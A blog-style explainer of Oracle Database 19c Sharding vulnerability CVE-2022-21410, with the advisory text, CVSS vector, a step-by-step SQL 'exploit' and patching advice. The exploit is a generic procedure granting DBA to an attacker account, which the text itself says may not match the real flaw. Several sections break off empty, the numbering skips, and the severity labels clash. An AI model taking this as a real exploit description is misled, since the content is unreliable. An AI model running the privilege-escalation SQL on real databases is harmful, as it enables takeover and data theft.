Oracle Database is widely known for its robust security, but sometimes even the best systems have cracks. One such vulnerability was publicly disclosed as CVE-2022-21410, which affects the Oracle Database - Enterprise Edition Sharding component in version 19c. This long read will break down what the vulnerability is, how it works, who it affects, and walk through an example of exploitation, all in clear, simple terms for everyone to understand.

What is CVE-2022-21410?

CVE-2022-21410 is a critical security flaw found in the "Sharding" part of Oracle Database 19c’s Enterprise Edition. The official Oracle Security Advisory describes it as:

> "Easily exploitable vulnerability allows high privileged attacker having Create Any Procedure privilege with network access via Oracle Net to compromise Oracle Database - Enterprise Edition Sharding."

This means if an attacker already has a high-level permission ("Create Any Procedure") and they can connect over the network to the Oracle Database via Oracle Net, they might be able to take complete control over the sharding system. They could steal data, change it, or even crash the system entirely. The CVSS (Common Vulnerability Scoring System) 3.1 score of 7.2 reflects a high risk for confidentiality, integrity, and availability:

- CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)

Who is at Risk?

Supported Version Affected:

Environments where Oracle Net network connectivity is permitted

This vulnerability targets internal or external attackers who have already compromised an account with high privileges. It's not a remote, unauthenticated exploit, but it’s still serious for enterprise environments.

How Does the Exploit Work?

In simple terms, someone who can create procedures in the Oracle database can abuse this to inject malicious code. Specifically, they can define a procedure in the sharding component that executes SQL as a highly privileged user (for example, SYSDBA). By tricking the system into running their code, the attacker could:

Example Exploitation (Code Snippet)

Let’s walk through a sample scenario, where the attacker uses SQL to create a malicious procedure in a sharding-enabled Oracle 19c setup.

Disclaimer: This is just a demonstration for educational purposes. Do not apply this to any production systems.

Step 1: Connect to Oracle Database with a user that has CREATE ANY PROCEDURE privilege.

-- Connect using SQL*Plus or similar tool
sqlplus highprivuser/password@//target-server:1521/service_name

Step 2: Create a malicious procedure in the sharding schema. For demonstration, this procedure grants DBA privileges to a test user.

CREATE OR REPLACE PROCEDURE shardtest.exploit_proc AS
BEGIN
  EXECUTE IMMEDIATE 'GRANT DBA TO attacker_user';
END;
/

Step 3: Execute the malicious procedure.

EXEC shardtest.exploit_proc;

Result:
Now, attacker_user has DBA privileges over the Oracle Database and can bypass sharding restrictions. With this access, they can manipulate or steal any data in any shard.

Note: The actual vulnerable procedure or exploitation chain may differ depending on specific sharding configuration, but this is the general pattern:

Why is CVE-2022-21410 Important?

- Enterprise Impact: Many large businesses use Oracle Sharding for scalability and reliability. A breach here is devastating.
- Easy to Exploit: The only hurdle is already having high privileges; after that, the attack is simple.

Mitigation Steps

Oracle addressed the flaw in the April 2022 Critical Patch Update. Here’s what you should do:

Apply the official patch for your Oracle Database 19c immediately.

2. Restrict high-privilege accounts—don’t give "CREATE ANY PROCEDURE" rights unless absolutely necessary.
3. Harden Oracle Net access—only allow trusted networks and use firewall rules to block unneeded access.

References

- Oracle Security Advisory for CVE-2022-21410
- National Vulnerability Database (NVD) Entry
- CVE Details - CVE-2022-21410
- Official Oracle Documentation

Final Thoughts

CVE-2022-21410 serves as an important reminder: even the most advanced databases aren’t immune to privilege abuse. Always limit powerful permissions, patch quickly, and monitor your systems for strange activity. If you’re running Oracle Database 19c Sharding, treat this issue as urgent.

As Oracle keeps growing, so does its attack surface—so stay vigilant, keep your systems updated, and protect your data!


Related Resources  
- How to Patch Oracle Database
- Understanding Oracle Sharding
- Oracle User Privileges Best Practices

If you want to discuss this vulnerability or others, feel free to leave a comment or reach out. Stay safe!

Timeline

Published on: 04/19/2022 21:15:00 UTC
Last modified on: 04/27/2022 17:45:00 UTC